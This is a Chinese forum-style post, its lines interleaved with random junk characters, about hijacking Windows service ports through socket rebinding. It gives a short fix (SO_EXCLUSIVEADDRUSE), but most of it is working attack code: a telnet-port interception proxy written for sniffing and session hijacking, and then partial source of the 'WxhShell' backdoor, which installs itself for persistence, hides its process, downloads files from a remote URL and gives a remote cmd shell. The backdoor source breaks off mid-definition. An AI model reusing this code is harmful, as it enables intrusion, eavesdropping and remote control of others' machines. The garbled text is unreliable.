在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[t s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
I^M#[xA bL'# saddr.sin_family = AF_INET;
4VmCW"b7h )"_Ff,9Z! saddr.sin_addr.s_addr = htonl(INADDR_ANY);
5S\][;u wI@zPVY_i bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
w(V?N' [ D0#T-B\# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
2%5^Fi ?79SP p)oo 这意味着什么?意味着可以进行如下的攻击:
urT/+deR oBRm\8 2| 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
8tV=fSHd v#:+n+y\z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
w%8ooQ|C Krp
<bK6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Zr.\`mG4f )l!J$X+R 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
h{W$ fZc< }
T/}0W]0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
(RDa,& rysP)e 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Som.
qD [ GR|$/(z= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~jp!"f +H[}T ] #include
_Sly7_ #include
c
YM CfP #include
5U-p'c9IC #include
]^*_F DWORD WINAPI ClientThread(LPVOID lpParam);
ot@|blVC8 int main()
3@PUg(M {
+p9LE4g7Q WORD wVersionRequested;
U^[cYTG DWORD ret;
,30FGz^i WSADATA wsaData;
#.E\,N' BOOL val;
24H^hN9 SOCKADDR_IN saddr;
|&elZ}8 SOCKADDR_IN scaddr;
@tr&R==([ int err;
|TB@@ 2Ky& SOCKET s;
lBlSNDs SOCKET sc;
|t4Gz1"q=8 int caddsize;
'w` SBYQ5 HANDLE mt;
~t{D5#LVHa DWORD tid;
9{)Z5%Kz wVersionRequested = MAKEWORD( 2, 2 );
c$,c`H(~ err = WSAStartup( wVersionRequested, &wsaData );
6\,DnO if ( err != 0 ) {
t4f
(Y,v printf("error!WSAStartup failed!\n");
zB#_:(1qK return -1;
LyuSZa] }
MekT?KPQ{L saddr.sin_family = AF_INET;
6CcB-@n4 '[>\N4WD //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
0kU3my] o,S!RG& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!dfS|BA] saddr.sin_port = htons(23);
/*u#Ba<< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
J6)efX)j-p {
C6K|:IK{ printf("error!socket failed!\n");
b4Ricm return -1;
6WA|'|}= }
F^.om2V|9 val = TRUE;
ki;!WhF~ //SO_REUSEADDR选项就是可以实现端口重绑定的
B;xZ%M] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
iEiu%T> {
aL8p"iSG9 printf("error!setsockopt failed!\n");
zyaW3th return -1;
c=b+g+*xd }
"bD+/\ z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
@T<ad7g-2J //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
A#v|@sul //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
q%OcLZ<, p+orBw3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
FjD,8^SQW {
Q=d.y&4% ret=GetLastError();
FX%t printf("error!bind failed!\n");
^~ Ekg:` return -1;
+mJ
:PAy4 }
=E&b= listen(s,2);
u|(Ux~O
while(1)
4^0d)+Ff {
H"#)&a7 caddsize = sizeof(scaddr);
lemVP'cn //接受连接请求
pTcbq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
*-?Wcz if(sc!=INVALID_SOCKET)
EfFz7j&X {
Yuwc$Qp) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
7#~4{rjg if(mt==NULL)
j(0Ilx|7v {
cwk+#ur printf("Thread Creat Failed!\n");
uzHT.iBn break;
YSqv86 }
w?kGi>7E }
[dl+:P:zc CloseHandle(mt);
F(d:t! }
x|.v{tQa closesocket(s);
mfZ)^X WSACleanup();
sB?2*S"X)< return 0;
8$\Za,)g }
6tOCZ'f DWORD WINAPI ClientThread(LPVOID lpParam)
?Fce!J {
RTK}mhnV SOCKET ss = (SOCKET)lpParam;
9z #P SOCKET sc;
J5O.*& unsigned char buf[4096];
ID)^vwn SOCKADDR_IN saddr;
t2"@Ps&1| long num;
qv
*3A?uzr DWORD val;
g.9L)L DWORD ret;
DH:J //如果是隐藏端口应用的话,可以在此处加一些判断
d'ZS;l //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
q<n[.u1@ saddr.sin_family = AF_INET;
N5m'To] saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(VR"Mi4 saddr.sin_port = htons(23);
cI2Fpf`2Wj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
YnSbw3U.I {
5QAdcEcN@O printf("error!socket failed!\n");
G@9u:\[l return -1;
XcOA)'Py }
+fM&su=wl val = 100;
S"zk!2@C if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
x5oOF7#5 {
a>U6Ag< ret = GetLastError();
,"B?_d6 return -1;
RL6Vkd? }
4AQ[igTDP if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ZI,j?i6\ {
;> DHD*3X ret = GetLastError();
'qjX$]H return -1;
'fIHUw| }
_m Xs4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
|8bE9qt.P {
lK*jhW?3: printf("error!socket connect failed!\n");
80|onP\L closesocket(sc);
<|a=hHPi: closesocket(ss);
[9OSpq return -1;
Dzr e' }
fuMN"T 6%+ while(1)
UgR:qjI {
#:#Dz.$L //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6a*83G,k //如果是嗅探内容的话,可以再此处进行内容分析和记录
kae2 73" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?mMW*ico num = recv(ss,buf,4096,0);
5X0QxnnV if(num>0)
C,"=}z1P send(sc,buf,num,0);
bG(x:Py& else if(num==0)
B52yaG8C break;
@TysXx num = recv(sc,buf,4096,0);
+oZH?N4yaM if(num>0)
b0 & send(ss,buf,num,0);
KnJx{8@z else if(num==0)
O=aw^|oj] break;
+i. u< T }
r!kLV )_ closesocket(ss);
B!}BM}r closesocket(sc);
?eV_ACpZ8 return 0 ;
Q ]"jD#F }
=2%VZE7Vm 96=Z" o&z!6"S< ==========================================================
9OyN i Q.A \U>AgV 下边附上一个代码,,WXhSHELL
)Q]w6he3 qBYg[K> ==========================================================
H-,TS^W Iyyo3awc #include "stdafx.h"
cvfUyp;P IE;\7r+h #include <stdio.h>
F+ukAT
#include <string.h>
Q_]~0PoH #include <windows.h>
d; =u #include <winsock2.h>
ZVL
gK}s #include <winsvc.h>
>aG= T{ #include <urlmon.h>
KQ{Lt?S <
bFy(+ #pragma comment (lib, "Ws2_32.lib")
2n)gpLIJ #pragma comment (lib, "urlmon.lib")
{q,?<zBzu Qdu$Os #define MAX_USER 100 // 最大客户端连接数
vd (?$ #define BUF_SOCK 200 // sock buffer
[jrqzB #define KEY_BUFF 255 // 输入 buffer
T@P!L 6{=_718l` #define REBOOT 0 // 重启
vk'rA{x #define SHUTDOWN 1 // 关机
MDHb'<o?y Y5Z!og #define DEF_PORT 5000 // 监听端口
z)}!e,7 9i=B #define REG_LEN 16 // 注册表键长度
<6jFKA< #define SVC_LEN 80 // NT服务名长度
CZ(`|;BC* 8z}^jTM // 从dll定义API
AbfZ++aJ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ORBxD"J& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
: @6mFTV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8sg|MWSU typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
?:igumeYX Fp%Ln(/m // wxhshell配置信息
V_"f|[1 struct WSCFG {
!D:Jbt@R<n int ws_port; // 监听端口
S!hXf|*0[ char ws_passstr[REG_LEN]; // 口令
%dW%o{ int ws_autoins; // 安装标记, 1=yes 0=no
|4mVT&63( char ws_regname[REG_LEN]; // 注册表键名
"3}<8c char ws_svcname[REG_LEN]; // 服务名
TH4\HY9qa? char ws_svcdisp[SVC_LEN]; // 服务显示名
-V5w]F' char ws_svcdesc[SVC_LEN]; // 服务描述信息
68e[:wf char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]Blf9h7 int ws_downexe; // 下载执行标记, 1=yes 0=no
F*` t"7Lm char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
bL`eiol6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
? ?[g}> z%sy$^v@vD };
I[D8""U Td h TQ // default Wxhshell configuration
0<.RA%dj struct WSCFG wscfg={DEF_PORT,
"0Q1qZ "xuhuanlingzhe",
O/b+CSS1 1,
sgAzL "Wxhshell",
zN!j%T.e
"Wxhshell",
BStk&b "WxhShell Service",
Qxa{UQh}9 "Wrsky Windows CmdShell Service",
D4Etl5k "Please Input Your Password: ",
(=c1 1,
N3%*7{X
9 "
http://www.wrsky.com/wxhshell.exe",
q0./O|Dj "Wxhshell.exe"
ss
iok LE };
V.=lGhi vFQ,5n;fF // 消息定义模块
O0huqF$K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
!{Z~<Ky char *msg_ws_prompt="\n\r? for help\n\r#>";
LFf`K)q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
QyGnDomQ char *msg_ws_ext="\n\rExit.";
<9eu1^g char *msg_ws_end="\n\rQuit.";
zT#`qCbT'J char *msg_ws_boot="\n\rReboot...";
:]WqfR)# char *msg_ws_poff="\n\rShutdown...";
0*F}o)n/m char *msg_ws_down="\n\rSave to ";
sKL:p3r R_N:#K.M char *msg_ws_err="\n\rErr!";
)Gk`[*q ; char *msg_ws_ok="\n\rOK!";
%j+xgX/& :P+\p= char ExeFile[MAX_PATH];
%J~WC$=Qv int nUser = 0;
p&Ed\aQ%z; HANDLE handles[MAX_USER];
[L(hG a int OsIsNt;
7%;_kFRV -VT+O+9_A SERVICE_STATUS serviceStatus;
ig+4S[L~n SERVICE_STATUS_HANDLE hServiceStatusHandle;
X.FGBR7=q w>e
s // 函数声明
Or0O/\D) int Install(void);
M.[rLJZ4 int Uninstall(void);
,S&z<S_ int DownloadFile(char *sURL, SOCKET wsh);
rwf^,r"r int Boot(int flag);
6.c^u5; void HideProc(void);
Z?G&.# : int GetOsVer(void);
Vba.uKNjk int Wxhshell(SOCKET wsl);
(zcLx;N
void TalkWithClient(void *cs);
1/Zh^foG int CmdShell(SOCKET sock);
se9>.}zZN int StartFromService(void);
j
!H^-d}q int StartWxhshell(LPSTR lpCmdLine);
S\#1 7.= bC6oqF'# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
l"+Jc1\ X VOID WINAPI NTServiceHandler( DWORD fdwControl );
YY5!_k y~
rXl // 数据结构和表定义
z-T{~{q SERVICE_TABLE_ENTRY DispatchTable[] =
>BVoHt~; {
e' 9r"<>i {wscfg.ws_svcname, NTServiceMain},
}}
ZY {NULL, NULL}
L{fFC%|l2L };
Hi}RZMr1 {XCf-{a]~ // 自我安装
9KuD(EJS int Install(void)
G}nO@ {
t18$x"\4k char svExeFile[MAX_PATH];
`3_lI~=eH HKEY key;
4JyM7ePND} strcpy(svExeFile,ExeFile);
%;"@Ah 9jir*UI // 如果是win9x系统,修改注册表设为自启动
SPkn3D6 if(!OsIsNt) {
ipE]}0q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{KL5GowH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
, X{> RegCloseKey(key);
Vu8,(A7D%O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!wz/cM; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]d}0l6 RegCloseKey(key);
9pKGr@ & return 0;
@.C{OSHE }
r' Z3
}
S.*~C0" }
X6e/g{S) else {
e^1uVN r(A.<`\ // 如果是NT以上系统,安装为系统服务
\}0-^(9zd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
d^E [|w; if (schSCManager!=0)
4,p;Km& {
uBrMk SC_HANDLE schService = CreateService
@R|'X (
|I;$M;'r& schSCManager,
muON>^MbC wscfg.ws_svcname,
<@v]H@E wscfg.ws_svcdisp,
%/%UX{8R SERVICE_ALL_ACCESS,
0E`1HP"b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
V9NTs8LKc SERVICE_AUTO_START,
k?GD/$1t SERVICE_ERROR_NORMAL,
*Mc7f ?H svExeFile,
w8Sv*K NULL,
c]k*}W3T NULL,
_QOZsEe NULL,
{-/^QX]6 NULL,
"/{RhY< NULL
NQHz<3S[ );
8jlLUG:g if (schService!=0)
]b?9zeT*'l {
@C_KV0i CloseServiceHandle(schService);
ZJW[?V\5= CloseServiceHandle(schSCManager);
>/$Fh:R- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
e.d
#wyeX strcat(svExeFile,wscfg.ws_svcname);
-e GL) M if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
W!Gdf^Yy< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$tqJ/:I RegCloseKey(key);
T#@lDpO return 0;
K$ }a8rH }
dq;|?ESP }
AM"jX"F9/ CloseServiceHandle(schSCManager);
ENVk{QE! }
qy1F*kY }
&<TzGB* |KI UgI return 1;
YIhm$A"z0" }
+EXJ\wy {V19Zv"j // 自我卸载
#SVNHpx int Uninstall(void)
T=f|,sK +7 {
C G\tQbum HKEY key;
`O?T.p) @&F@I3`{ if(!OsIsNt) {
oTjyN\?H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
EI>l-N2 RegDeleteValue(key,wscfg.ws_regname);
?tdd3ai> RegCloseKey(key);
m0w;8uF2UV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D1
Z{W RegDeleteValue(key,wscfg.ws_regname);
B<?[Mrdxw RegCloseKey(key);
DB526O*
[ return 0;
wBj-m }
2|iV,uJ& }
.0 )Y }
Yj|eji7y else {
f>o,N{| inb^$v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[jdFA<Is if (schSCManager!=0)
INs!Ame2 {
o Pci66 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ocbB& if (schService!=0)
A5:qKaAq {
1F'1>Bu~ if(DeleteService(schService)!=0) {
WO5O?jo' CloseServiceHandle(schService);
b3-eR5U/ CloseServiceHandle(schSCManager);
OI1ud/>h return 0;
#eZ6)i< }
TcTM]ixr CloseServiceHandle(schService);
Y/<lWbj*A }
'+>fFM,*B CloseServiceHandle(schSCManager);
F7L &=K$2y }
7M_U2cd|TD }
gbeghLP[? YpAg return 1;
|'ln?D:& }
`nXVE+E@ MTER(L // 从指定url下载文件
7\zZpPDV int DownloadFile(char *sURL, SOCKET wsh)
c\6+=\ {
bi y4d HRESULT hr;
YYEJph@06q char seps[]= "/";
%=AxJp!a char *token;
zJDSbsc$% char *file;
>7`<!YJkK char myURL[MAX_PATH];
=o}"jVE char myFILE[MAX_PATH];
nMfFH[I4 &;,,H< p strcpy(myURL,sURL);
1(Y7mM8\ token=strtok(myURL,seps);
m"\:o while(token!=NULL)
`!:q;i]} {
1% F?B-k file=token;
<$w?/y/' token=strtok(NULL,seps);
u cwnA }
9j]sD/L5q HmfG$Z GetCurrentDirectory(MAX_PATH,myFILE);
X:a`B(@S strcat(myFILE, "\\");
a {}|Bf< strcat(myFILE, file);
<}U'V}g send(wsh,myFILE,strlen(myFILE),0);
L9Z;:``p send(wsh,"...",3,0);
Rgo rkZlVM hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<^~FLjsfg if(hr==S_OK)
.?p\n7 return 0;
/&& 2u7* else
{qW~"z*
return 1;
P&d"V< ;@,Q&B2eM }
07Gv* . w;}@'GgL // 系统电源模块
93+"D` int Boot(int flag)
h)1qp Qj {
c^rOImZ HANDLE hToken;
M/?KV9Xk2 TOKEN_PRIVILEGES tkp;
9odJr] RCTQhTy= if(OsIsNt) {
5(W"-A} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
YCe7<3> J4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
TSAU?r\P tkp.PrivilegeCount = 1;
&
gJV{V5Ay tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
""Zp:8o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^JZ^>E~ if(flag==REBOOT) {
50TA:7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
~U(,TjJb return 0;
Qu=LnGo~P }
nVu&/ else {
o-xDh7v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
di)*-+ return 0;
9!9Z~/*m }
W3vi@kb] }
!3iGz_y else {
rhpPCt if(flag==REBOOT) {
pME{jD
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ZKQ hbNT return 0;
bWl5(S` Z }
*19ax&|*S else {
{7cX#1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
EM7+VO( return 0;
2 oa#0`{ }
LA_3=@2.H }
n .!Ym
X4 >@WX>0`ht return 1;
_A<u#.yd }
}?cGf-c tt%MoQ) // win9x进程隐藏模块
A*./,KT void HideProc(void)
JOjoiA {
5Zmw} M ml@2wGyf HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
t NsPB6Z if ( hKernel != NULL )
,D\GGRw {
nA|.t[v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
<APB11 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=X?\MVWB FreeLibrary(hKernel);
U.AjYez }
y%sroI('y )$w*V9d return;
r'CM }
r1ws1 rr= wU#F_De)R: // 获取操作系统版本
k>dsw : int GetOsVer(void)
V`adWXu {
h8\
T OSVERSIONINFO winfo;
th6+2&B6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Qn ^bVhG+ GetVersionEx(&winfo);
iv phlw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
n~g)I& return 1;
]zO/A4 else
:16P.z1L return 0;
Lokl2o` }
t+,4Ya|Xj /8VP[i)u // 客户端句柄模块
Ladsw int Wxhshell(SOCKET wsl)
Xtwun {
AamVms SOCKET wsh;
oG$)UTzGc struct sockaddr_in client;
LlBN-9p DWORD myID;
liR? :K\mN/ x while(nUser<MAX_USER)
O62b+%~F {
`/Nm
2K int nSize=sizeof(client);
yq+!czlZ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Z/^ u if(wsh==INVALID_SOCKET) return 1;
&a/__c/l 1!pa;$L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
r>jC_7 if(handles[nUser]==0)
tbnH,* closesocket(wsh);
~gz^Cdh else
JFgoN,xn nUser++;
Bl9jkq
] }
iHf-{[[Z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{pb>$G:gfx /7!""{1\\ return 0;
:V2bS }
6t/`:OZC: SI:U0gUc // 关闭 socket
8Ld:"Y# void CloseIt(SOCKET wsh)
D>Gt]s {
!v]b(z`Y closesocket(wsh);
%{6LUn nUser--;
4tSv{B/} ExitThread(0);
7Cjd.0T=( }
lTU$0CG 'qdPw%d // 客户端请求句柄
2,aPr:] void TalkWithClient(void *cs)
IrMl:+t\ {
RE.r4uOJg 9Lh|DK,nV/ SOCKET wsh=(SOCKET)cs;
X0-IRJ[ char pwd[SVC_LEN];
dD<fn9t
char cmd[KEY_BUFF];
TO2c"7td char chr[1];
v^ d]rSm int i,j;
Jc)^49Rf 9w9jpe# while (nUser < MAX_USER) {
)otb>w5 DO7W}WU if(wscfg.ws_passstr) {
r_EcMIuk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fw oQ'& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8A{_GH{: //ZeroMemory(pwd,KEY_BUFF);
,@m@S^ i=0;
A`{y9@h( while(i<SVC_LEN) {
s:00yQ c*d9'}E // 设置超时
PpLU fd_set FdRead;
[sW.CK=3 struct timeval TimeOut;
Og;-B0,A FD_ZERO(&FdRead);
Sx
FD_SET(wsh,&FdRead);
#d{=\$= TimeOut.tv_sec=8;
G8W#<1LE TimeOut.tv_usec=0;
Z ,^9Z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
^IKO2Ft if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`IYuz: b;|55Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
KYJjwXT28W pwd
=chr[0]; ~)?
if(chr[0]==0xd || chr[0]==0xa) { fjnT e
pwd=0; y/V%&.$o=
break; GRy-+#,b"
} =66Nw(E.
i++; {{C`mgC
} ::n;VY2&
P,ua<B}L
// 如果是非法用户,关闭 socket 4/X/>Y1
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^$%Z!uz
} )Qm[[p nj
/yLZ/<WN
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \.XLcz
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2cu#lMq
HE<1v@jW
while(1) { ,:+dg(\r
+.RKi!
ZeroMemory(cmd,KEY_BUFF); ]4+s$rG
PL{Q!QJK'
// 自动支持客户端 telnet标准 74<!&t
j=0; PNW \*;j
while(j<KEY_BUFF) { 7^}Ll@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /S:F)MO9
cmd[j]=chr[0]; EL3|u64GO
if(chr[0]==0xa || chr[0]==0xd) { p2PY@d}}.
cmd[j]=0; cNzt%MjP
break; (]/9-\6(#
} 4[ryKPa,
j++; {%w!@-
} co_oMc
hVjNZ
// 下载文件 y80ykGPT\&
if(strstr(cmd,"http://")) { y {q*s8NY
send(wsh,msg_ws_down,strlen(msg_ws_down),0); zU6a'tP
if(DownloadFile(cmd,wsh)) jQU"Ved
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !?
^h;)a
else P?BGBbC
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {f9{8-W<u
} ~_9"3,~o5
else { 0=w K:Ex
]0D}T'wM
switch(cmd[0]) { [6jbgW~E
ThW,Y"
l
// 帮助 @1zQce>
case '?': { K}[>T(0E
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cYNJhGY
break; ,?
E&V_5
} 9>/wUQs!]
// 安装 iE0ab,OF
case 'i': { \3Oij^l0
if(Install()) Gf8s?l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -{h
else WS& kx~oQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Z[V uQng
break; K[
.JlIP
} ,n2i@?NHZ
// 卸载 -#-p1^v}
case 'r': { 4LI0SwD#^/
if(Uninstall()) >k']T/%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hy{
Q#fq
else \EoX8b}$b0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [fu!AIQs
break; 3#wcKv%>&_
} A5#y?Aq
// 显示 wxhshell 所在路径 v"+k~:t*
case 'p': { XwM611
char svExeFile[MAX_PATH]; }~Q"s2
strcpy(svExeFile,"\n\r"); h72UwJ2rw
strcat(svExeFile,ExeFile); o/[
send(wsh,svExeFile,strlen(svExeFile),0); o6"*4P|
break; *cWmS\h|
} `Lyq[zg8
// 重启 xChI,~i
case 'b': { lA>\Ko
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j:5%ppIY
if(Boot(REBOOT)) ')+0nPV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O?bK%P]ay
else { m9M
FwfZ
closesocket(wsh); jc_\'Gr+[
ExitThread(0); HOt>}x
} E04l|
break; ^=cXo<6D
} mN0=i(H<
// 关机 bM;`s5d
case 'd': { %;`>`j5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7J >Gd
if(Boot(SHUTDOWN)) (7lBID4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l#3($QV,
else { s(ROgCO
closesocket(wsh); >=ot8%.!,B
ExitThread(0); 2k7bK6=nm
} ~7q uTp)
break; HU
B|bKy
} (.K\Jg'Y6j
// 获取shell \zXlN
case 's': { #nyv+x;
CmdShell(wsh); ~#Md"3
closesocket(wsh); xu%'GZ,o9
ExitThread(0); =4C}{IL
break; j'Y/ H5
}
Ex@`O+
// 退出 tP
~zKU
case 'x': { %@&a7JOL
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OQ_stE2i
CloseIt(wsh); +2cs#i
break; Iyk6=&?j
} LR)&
[{Kk
// 离开 ']51jabm
case 'q': { Ru%|}sfd
send(wsh,msg_ws_end,strlen(msg_ws_end),0); `ZHP1uQ<
closesocket(wsh); <v]9lw'
WSACleanup(); 4h
5_M8I
exit(1); $]d*0^J 6
break; ^Uw[x\%#gD
} p|6v~
} ~JZ3a0$^
} 1r`i]1<H
SVP:D3)
// 提示信息 \Z5+$Ij
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )&NAs
} NlR"$
} :x>T}C<Y
#Olg(:\
return; <SXZx9A!
} ?z` MPdO
2@@l {Y0f6
// shell模块句柄 jThbeY[
int CmdShell(SOCKET sock) .e[Tu|qo
{ A-E+s~U8
STARTUPINFO si; <3
@}Lj
ZeroMemory(&si,sizeof(si)); $7gB_o$zz
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I{.HO<$7D}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Uf,fX/:!
PROCESS_INFORMATION ProcessInfo; vX1uR]A[
char cmdline[]="cmd"; ,j;PRJ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kM*T$JqN
return 0; =v2%Vs\7k
} +Takde%~
]Bu DaxWN
// 自身启动模式 c c G['7
int StartFromService(void) f>iuHR*EXB
{ 7s>a2
typedef struct :uCdq`SaQl
{ ?A=b6Um
DWORD ExitStatus; 4^Qi2[ w
DWORD PebBaseAddress; 'qeP6}M
DWORD AffinityMask; y,C!9l
DWORD BasePriority; 5rN_jC*U
ULONG UniqueProcessId; 2RNrIU I2
